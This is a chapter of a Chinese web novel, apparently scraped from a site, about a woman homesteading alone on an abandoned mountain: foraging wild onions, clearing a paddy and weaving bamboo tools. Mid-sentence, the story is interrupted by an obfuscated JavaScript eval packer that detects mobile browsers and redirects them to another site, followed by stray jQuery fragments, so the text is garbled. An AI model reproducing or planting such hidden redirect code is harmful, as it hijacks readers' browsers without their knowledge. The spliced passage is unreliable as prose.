黄迎春兴冲冲地沿着早上取水的路走。
她买的这座山因为十年前的那场地动,人人闻之色变。
以往还有村人来这里打草砍柴,但自从那些人的尸骨长埋在附近后,就再也没有人有胆子踏进这里了。
日积月累,路上都长满了杂草野树,一眼望去,到处都是一样的景色,草还是路,早已无人分得清。
黄迎春现在脚下踩的这条路线较为明朗的小路,还是施工队在这里盖房的时候踩出来的。
虽然宋大在最近的村里给施工队找了安置的地方,但干体力活的人流汗多,容易口渴,所以总有人见天的往河边跑。
渐渐地,便踩出了一条从黄迎春的家门口到河边的小道。
野葱喜欢长在河滩边上的杂草丛里,越是靠近水边的地方,野葱长得越粗壮。
黄迎春便沿着小路一直走,走到早上取水的地方,却犯了难。
施工队踩出的路,也就到此为止了。黄迎春茫然四顾,前后左右不是草就是树,仿佛被困在了迷宫里,唯一的出处就是沿着来路返回。
这怎么可以?!
心心念念着香喷喷的野葱炒猪油渣的黄迎春不愿意放弃,她寻了一棵最近的树,连踢带踹,又使上鹤嘴锄,终于砍下了一段一人多高的树枝,又削去枝叶,树枝就成了一根光秃秃的木棍。
不粗不重,拿着不费力。
不细不长,不容易折断。
就这样,黄迎春拥有了一根探路棍。
她每走一步,就用木棍先在前方戳一戳。看到比较高的草叶,就站在原地不动,拿起木棍在四周不停地敲打,一点点地打草惊蛇,终于,黄迎春成功为自己开拓出一条前路。
这座山十年没人光顾,疯长的不止草木,还有遍地的野菜。
也不是所有的地方都是半人高甚至一人高的茂密草丛,也有那崎岖些的山坡,只稀稀疏疏地长着几棵杂树,黄迎春找到这样一处地方,终于松了一口气。
总算能歇一会儿了。
她把鹤嘴锄丢到草地上。
已经买不起耕牛,万万不能缺锄头,否则这个冬天她就只能等着喝西北风。
临安乡所在的地界儿被众人笑称为鱼米之乡,鱼前米后,意思是这里的鱼儿比田里的稻米还要多。
水多,鱼才多,水田遍布的地方,自然种的都是水稻。春播夏长秋收,割稻也少不了镰刀。
对于农具,黄迎春只有三样预算。
锄头和镰刀都是必不可少的物件,最后一样,黄迎春在柴刀、斧头和锯子之间犹豫不决。
开门七件事,柴米油盐酱醋茶,柴排第一位,由此可见柴火对于生计的重要。
黄迎春需要一件趁手的砍柴利器,其实柴刀是最好的,人家的名字都带柴字,论专业对口,没有比得上的。
只是,虽然买了菜刀,但是家里连块砧板也没有,菜都不知道要在哪儿切。
黄迎春想在山上就地取材,砍块树墩搬回家中了事,这样一比,柴刀的威力自然要比斧头小。
但是斧头的力量虽大,也要她有力气去砍,对于她这种力气比较小的女人来说,锯子是不是会更省力气呢?
黄迎春拿不定主意。
就在这时,她看到了一把鹤嘴锄。
黄迎春对鹤嘴锄并不陌生,这是她在花草司里劳作的老家伙。
鹤嘴锄的用处大极了,平口可以拿来挖土锄草,尖嘴那侧,只要一落地,再硬的土都抵抗不了,只能乖乖四分五裂。
在慈善堂的一个多月不是白待的,黄迎春打了几回下手,渐渐也知道了一些草药的生长习性,所以这回在镇上采买,也买了一些药种,预备带回家播种。
鹤嘴锄这种小巧的农具,拿来干侍弄药材这种精细活儿是最好的。
而且,她现在是山户,要靠山吃山,山上多的是野菜,为了这个,黄迎春连粮食的预算都省了好多,挖野菜怎么能没有一把趁手的工具呢?鹤嘴锄既小巧方便携带,又不像锄头那样笨重,正适合她上山挖菜啊!
黄迎春思前想后,最后选了鹤嘴锄。
但是,此刻,她却有点后悔了。
早知道应该把镰刀一起带出来的。
鹤嘴锄只在看得见的地方有用,论收割野草,还是镰刀用起来利落,弯腰一搂一割,顷刻间她就能割倒一大片,哪里还用得着深一脚浅一脚地磨蹭到现在!
她还赶着开荒呢!
抱怨归抱怨,黄迎春的眼睛却始终没有停下扫描。
野葱的样子很好认,深绿色,叶子细长,每片叶子都像一根中空的管。
多年不挖野菜了,黄迎春虽然还认得野葱的模样,但耐不住春回大地,到处都是一片绿色,满地都是绿色的封口吸管,其中还不乏一些仿制品。
好在,虽然有的植物和野葱的样子有些相似,但只有野葱拔起来的时候会有一股浓郁的葱味。
黄迎春蹲下身,随手掐断一片叶子,把手放到鼻子下一闻,那股浓郁的独属于葱蒜的辛辣味立刻弥漫在鼻间。
找到了!
黄迎春立即拿起鹤嘴锄,一锄铲地,一手拔葱,拔了一大把,把泥土都抖落干净,又拿到河边把白色的葱头细细地洗干净,然后扯了细长的草叶,绕了几圈将野葱捆实了,这才起身原路返回。
在新家的第一顿饭,黄迎春吃的是野葱炒猪油渣焖饭。
在找野葱的时候,黄迎春发现了一片竹林,那里的竹子不用过河就可以直接取用。
黄迎春心动不已,原想顺路砍一根竹子带回来,削一节竹子倒点米进去做竹筒饭,偏偏没带镰刀。
最后,黄迎春只能一路后悔着来,又一路可惜着走。
不过,吃着油汪汪的米饭,那点后悔和可惜转瞬间就被唇齿留香的黄迎春抛到九霄云外了。
真香啊!
不愧是开过锅的铁锅煮出来的饭。
吃过了买来的米,黄迎春开始琢磨自己种
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771644|190244||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的粮食。
每个地方播种的时间都不一样,临安的早稻,播期再晚也不会拖过清明。她是过完春分之后离开永安城的,距离清明也不剩多长时间了。
黄迎春心里很着急。
昨天她从镇上回家时,沿途也经过一些水田,勤快的农人已经起好垄沟,在晒秧田。
而她的田,连个影儿都没有,还等着她去开荒。
种水稻的田地很好选址,水稻喜欢土壤肥沃、排水通畅、阳光充足的土地,黄迎春沿着河走,随随便便就能找出好几块适合育苗移栽的土地。
但是,开荒难啊!
地上有野草、杂树和荆棘,地下有树根、草筋和硬邦邦的石头。
一听到锄头和石头碰撞的声音,黄迎春就止不住的心疼。
她生怕她唯三的农具之一出了什么差错,铁多贵哪!
好在,刚买来的锄头还是耐用的,洗净之后除了表面多了一些划痕,并没有什么损伤。
而黄迎春耗费了整整三天的时间,终于把临河的一小块土地拾掇干净。
她砍了树,割了草,锄了土,捡了石头,总算开出了自己的第一块田产。
来不及喘口气,黄迎春又开始她轰轰烈烈的伐竹大业。
锄草不易,好不容易拔掉的草,若是没有及时从地里拿走,过一个晚上,第二天再去的时候,它就能重新在地里扎根生长。
这个道理,在先前那个农家里活了十二年,又在花草司忙了十五年的黄迎春十分清楚。
她每天都赶在天黑前把当天从地里清理出去的草木带回家,放到厨房外面的空地上阴干。
可是,她每天都要往返好几次。
原因只有一个——她没有运输工具,全靠手捧肩扛!
没有背篓和簸箕的日子黄迎春一天也过不下去,因此,趁着地开了一块,天上又下起小雨,黄迎春急忙筑起垄沟,又冒着雨水去竹林里砍了好几棵碗口粗的大竹子,用镰刀劈成段,再分批运回家。
抹节,杀青,破竹,开条,取青蔑,纵横交错……
内底,外底,合筐,修边,锁边,燎戗……
黄迎春给自己做了一个解放双手的竹筐,然后,又迫不及待地劈了好几个竹筒,洗好后放在灶台上阴干。
天可怜见,这几日她在田里都快渴死了。
寻常人家农忙时,白天都在地里忙活不回家,饭食都是家人送到田里来。
黄迎春的家里只有她一个,要想吃上饭,只能每天自己跑回家去做。
虽然已经春天了,但天还是早早就暗了,黄迎春初来乍到,不敢晚上还在外面干活,生怕遇上野兽袭击,所以十分珍惜白天的时间,拼命在地里劳作。
汗流得越多,嘴里越干,偏偏黄迎春为了省钱,连个葫芦都没买,自然也没有器物可以装水带到地里来喝。
她也不敢喝河里的生水,怕寄生虫在肚子坐病。
想着反正要回家做饭,自然有可以喝水的时候,所以每天黄迎春都处在旱的旱死,涝的涝死的状态里。
今天终于有空给自己搞个水壶了,黄迎春热泪盈眶,险些把手中的毛竹变成湘妃竹。
劈段竹节,量个尺寸,做个记号,再用随身携带的小刀一点点地磨,不知过了多久,月上当空时,黄迎春坐在冒着火光的灶台前,一手拿竹筒,一手拿竹节,两相一对,这两样本是同根生的东西立即合二为一,严丝合缝,包管一点灰尘都落不进去。
安家第五天,黄迎春终于拥有了一个水壶。